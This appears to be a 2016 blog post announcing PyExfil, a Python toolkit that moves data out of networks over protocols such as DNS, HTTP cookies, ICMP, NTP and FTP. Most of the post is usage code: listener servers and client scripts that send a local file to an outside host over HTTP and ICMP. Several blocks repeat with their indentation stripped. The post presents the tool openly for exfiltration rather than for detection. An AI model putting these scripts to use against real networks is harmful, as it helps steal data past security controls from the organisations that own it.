PyExfil – Python Data Exfiltration Tools

Last updated: November 22, 2016 | 3,386 views

PyExfil started as a Proof of Concept (PoC) and has ended up turning into a Python Data Exfiltration toolkit, which can execute various techniques based around commonly allowed protocols (HTTP, ICMP, DNS etc).

PyExfil - Python Data Exfiltration Tools

The package is very early stage (alpha release) so is not fully tested, any feedback and commits are welcomed by the author.

Features

Currently PyExfil supports:

DNS query
HTTP Cookie
ICMP (8)
NTP requests
BGP Open
POP3 Authentication (as password)
FTP MKDIR technique

Usage

HTTP Exfilatration Server

#!/usr/bin/python
from exfiltration.http_exfiltration import *
def main():
    print "Starting a listener: "
    listen("127.0.0.1", 80)

if __name__ == "__main__":
    main()

#!/usr/bin/python

from exfiltration.http_exfiltration import *

def main():

print "Starting a listener: "

listen("127.0.0.1", 80)

if __name__ == "__main__":

main()

HTTP Exfiltration Client

#!/usr/bin/python

from exfiltration.http_exfiltration import *

def main():
    FILE_TO_EXFIL = "/bin/bash"
    ADDR = "www.morirt.com"

    if send_file(ADDR, FILE_TO_EXFIL) == 0:
        print "File exfiltrated okay."
    else:
        print "Damn thing failed."

if __name__ == "__main__":
    main()

#!/usr/bin/python

from exfiltration.http_exfiltration import *

def main():

FILE_TO_EXFIL = "/bin/bash"

ADDR = "www.morirt.com"

if send_file(ADDR, FILE_TO_EXFIL) == 0:

print "File exfiltrated okay."

else:

print "Damn thing failed."

if __name__ == "__main__":

main()

ICMP Server

#!/usr/bin/python

from exfiltration.icmp_exfiltration import *

def main():
    ADDR = "127.0.0.1"
    TMP_PATH = "/tmp/"

    init_listener(ADDR, TMP_PATH)

if __name__ == "__main__":
    main()

#!/usr/bin/python

from exfiltration.icmp_exfiltration import *

def main():

ADDR = "127.0.0.1"

TMP_PATH = "/tmp/"

init_listener(ADDR, TMP_PATH)

if __name__ == "__main__":

main()

ICMP Exfiltrator

#!/usr/bin/python

from exfiltration.icmp_exfiltration import *

def main():
    FILE_TO_EXFIL = "/bin/bash"
    ADDR = "www.morirt.com"

    if send_file(ADDR, FILE_TO_EXFIL) == 0:
        print "File exfiltrated okay."
    else:
        print "Damn thing failed."

if __name__ == "__main__":
    main()